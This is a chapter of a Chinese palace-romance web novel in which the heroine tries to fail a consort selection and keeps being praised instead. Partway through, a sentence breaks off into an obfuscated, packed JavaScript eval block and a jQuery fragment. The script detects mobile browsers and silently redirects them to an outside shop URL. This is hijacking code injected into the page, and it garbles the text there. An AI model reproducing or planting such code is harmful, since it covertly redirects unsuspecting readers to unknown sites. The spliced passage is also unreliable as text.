云苓觉得自己简直要疯了。

    她哪里知道有什么典故?她不过就是想掀了棋盘躲开死局而已啊,顺便再找个借口被刷下去,谁知道太子居然还是个脑补帝,直接给她拔高到了兵法的高度,现在竟然还追着她问语出何典?

    简直是,要人命啊!

    云苓总不能说,这话其实是她现编的,根本没有典故吧?那不久等于直接打宇文临风的脸?到时候反而……

    不过如果不这么说,那她还能如何解释?

    云苓?的脑子飞速旋转,脸上却依旧维持着波澜不惊,先是对着宇文临风?规规矩矩地福了福身,随后语气平淡地敷衍道:“太子殿下谬赞了,这不过是臣女下棋时偶有所感,随口说的罢了,当不得什么至理名言,更没有什么典故。”

    没错,她就是实话实话了,怎地?

    可是云苓却怎么也未曾料到,她不说还好,话一出口,宇文临风?的眼睛反而更亮了,当即抚掌大笑道:“好!好!好一个偶有所感!无典无据,却能暗合天地至理,这才是真正的返璞归真,大道至简!孤今日,算是受教了!”

    云苓?:“……”

    求求了,你别再脑补了!她真的就是随口瞎编的!她真的只想被刷下去而已啊!

    就在满殿上下都在为云苓?的“大智慧”而赞叹不已之际,角落里忽然传来一声没忍住的轻笑。

    声音不大,却清清楚楚?地传遍了整个大殿。

    殿上所有人当即都,循声望了过去。

    只见宇文临棠?斜靠在座位上,手里还捏着个羊脂玉的酒杯,肩膀微微抖着,嘴角的笑藏都藏不住,眼里写满了了然戏谑。

    宇文临棠是实在是憋不住了。

    全场的几乎所有人,都被宇文临风给子带偏了,跟着疯狂解读,觉得云苓这女人是百年难遇的奇才。

    可唯独他一人,看得明明白白。

    这姑娘哪里是有什么大智慧,哪里是深谙什么棋道兵法。

    她就是单纯的不想下棋而已,就是想敷衍了事而已,不过就是想赶紧躲开这个烂摊子而已。

    什么破局新生,什么大道至简,全是她临时找的借口。偏偏满朝文武,连太子都被她糊弄住了,还真以为她有什么惊天动地的大格局。

    宇文临棠?越想越觉得好笑,又喝了一口酒,目光落在云苓?的身上,眼里的笑意更浓了。

    有意思,这姑娘真的是太有意思了,他宇文临棠?活了二十多年,还是头一次见到这么能糊弄,还能糊弄得天衣无缝的女人。

    而首座上的宇文临砚,自从云苓?掀翻棋盘的那一刻起,目光就没从她身上移开过。

    宇文临砚死死地盯着站在殿中的女人,面具下的脸,早已是阴沉得能滴出水来,心里更是掀起了惊涛骇浪。

    别人看不懂这棋局,可他自己设的局,他自己最清楚。这玲珑棋局里的暗语,除了他自己,也只有他的心腹方镜知道一二,寻常人就算是国手,也只能看出是一盘难解的残局,绝对看不出棋局里面藏着的布局。

    可是这个女人,她居然一眼就看透了。

    她知道这是个死局,知道碰了这局棋,就会窥探到不该看的东西,甚至落得个身死道消的下场。所以她干脆直接掀了棋盘,既不点破局里的秘密,又彻底避开了这个坑,还借着一句“破局新生”,博了个满堂彩,连太子都站在了她那边。

    这份眼力,这份心智,这份当机立断的魄力,哪里是个普通的北地庶女能有的?

    宇文临砚之前以为,云苓头一天写的诗,不过是欲擒故纵的小把戏;可今天这一手掀棋盘,直接让他感到心惊肉跳。

    云苓这个女人,远比他想象的还要深不可测,她不仅看懂了他的棋局,更看懂了他设下这个棋局的心思。

    宇文临砚的手指攥得咯咯作响,看向云苓?的目光里,更多了一丝他自己都没察觉到的,浓烈的兴趣。

    他倒要看看,这个女人,到底还藏着多少本事。

    智试的最终结果,毫无悬念。

    云苓?不仅没被罚,反而被皇帝和太子盛赞为“智计无双,心境卓绝”,直接钦定了智试的头等,连带着昨日才试的头名,两试连捷,成了整个选妃大典里最出风头的人。

    而解不开棋局、对弈落败的秀女,则直接被淘汰了大半,如今秀女剩下的寥寥无几,看向云苓?的眼神,多是嫉妒中带着忌惮。

    柳晞月气到脸色发绿,却一句话都不敢说,只能眼睁睁地看着云苓在自己眼皮子底下?出尽了风头,恨得指甲都快嵌进肉里了。

    云苓?拿着皇帝新赏的玉佩,灰溜溜地滚回了自己的小跨院,一进门就把玉佩往桌上一扔,人往椅子上一瘫,只觉得生无可恋。

    烦死了。

    真的是烦死了。

    她本来以为这次掀翻棋局被刷已经是板上钉钉,结果万万没想到,又被太子这个脑补帝一顿解读,结果愣是直接拿了个头等。现在可好了,全京城都知道北地来了个文武双全的云三公主,而且云苓怎么也忘不了,她临走时……宇文临砚那个疯子,看向她的要吃人般的眼神。

    咸鱼苟命计划,算次是彻底翻车翻到沟里去了。

    琴棋和书画跟在云苓后面,激动得脸都红了,全然不知云苓内心的悲苦,嘴里全是“公主深谋远虑”、“公主深谋远虑”等等,根本就是把云苓的敷衍行为,脑补成了一场惊天动地的权谋大戏。

    云苓?连翻白眼的力气都没有了,只挥了挥手让她们俩退下,自己一个人瘫在椅子上,开始琢磨明日的第三试。

    第三试,应该是……貌试。

    说白了,就是比容貌、比仪态、比言行举止。

    一想到比容貌,云苓?瞬间就不慌了,甚至还有点想笑。

    和其他秀女早早就准备华服首饰,敷面养肤,练习仪态,恨不得把自己打扮成天仙不同,云苓却不一样。

    她有绝颜丹的buff加持,一张脸平庸得扔人堆里都找不着,无论再怎么打扮,也美不到哪里去。正好借着这个机会,继续摆烂,怎么普通怎么来,怎么平庸怎么来,争取在貌试里拿个倒数,顺顺利利被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641094|206558||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刷下去。

    毕竟,前两试她拿了头名,总不能貌试也拿第一吧?总不能鸿王选妃,选个容貌平庸甚至丑陋的女子当妃子吧?

    云苓?越想越觉得这一回稳了,心里拎着的大石头也算是彻底落了地。

    站起身,伸了个懒腰,云苓走到窗边,看着外面的夕阳,心里美滋滋地盘算起来。

    只等明天貌试一过,她被刷下去,就拿着手里的钱,去城东找个铺面,开她的第一家云记奶茶店。到时候,什么鸿王,什么太子,什么选妃大典,都跟她没关系了。

    她只想安安稳稳地卖奶茶,当个奶茶店的老板娘就好。

    *

    第三日,辰时的晨光刚漫过澄心殿的飞檐,殿内的珠翠光华耀眼得就快把窗棂外的日头比了下去。

    和前两试时候的肃静压抑气氛不同,今日的澄心殿彻底换了副模样,地上铺着从江南织造府专供的猩红织金毡,一直从殿门口铺到御座前,两侧立着一人高的黄铜铜镜,铜镜擦得锃亮,清明得能把人从头到脚照得分毫毕现。殿角悬着的鎏金宫灯里燃着安神的龙涎香,混着秀女们身上熏的各式花香、脂粉香,甜腻腻地一同裹在风里。

    前来参加最终试的秀女如今只剩下不到二十人,一个个全都铆足了劲,把压箱底的宝贝翻了出来。有的穿石榴红撒花软缎罗裙的,鬓边斜插着只赤金镶红宝的步摇,一步三摇,流光溢彩;有的穿月白绣折枝玉兰花襦裙的,配羊脂玉的簪子耳坠,温婉清雅可人;还有的直接穿了北地传来的胡服骑装,利落的显出身段,博得个与众不同。

    几乎所有的秀女都把腰杆挺得笔直,下巴微抬,连走路的步子都像是用尺子丈量过似的,脸上更是挂着精心练过的、恰到好处的温婉笑意,眼神却都偷偷往御座左侧的鸿王席位上瞟,恨不得把眼珠子粘在宇文临砚身上。毕竟这最后一场貌试,看的是容貌仪态,实则拼的是能不能入了鸿王的眼,从而被选为鸿王妃,一步登天。

    而在这群争奇斗艳、活像开屏孔雀的贵女里,云苓?的存在活脱脱像是个走错片场的异类。

    她依旧穿着那件洗得发白的月白棉布襦裙,身上连个绣花都没有,料子更是粗得跟旁边秀女的衬裙里子差不多,头发就松松挽了个最简单的双环髻,只插了一支素银簪子,簪子还是从北地带过来的,磨得都快没光泽了。脸上半点脂粉都没施,就简单洗了把脸,素面朝天,原本就寡淡的眉眼,在一众浓妆淡抹的秀女里,更是平庸得像张白纸,扔人堆里三秒就能彻底找不着。

    为了不被注意到,云苓依旧特意选了大殿最角落的位置,正好被廊柱挡了大半,连御座上的皇帝都未必能看清楚她的脸,完

    美符合她设计的背景板人设。

    “公主,您真的就穿这个啊?”记得临出门的时候书画跟在云苓的身后,急得都快哭了,声音压得跟蚊子叫似的,“您看别家的小姐,哪个不是穿金戴银,打扮得跟天仙下凡似的?您就算不穿华服,好歹也抹点胭脂,画个眉啊!这可是最后一场比试了,要是落了下乘,那前两试的头名不就白费了吗?”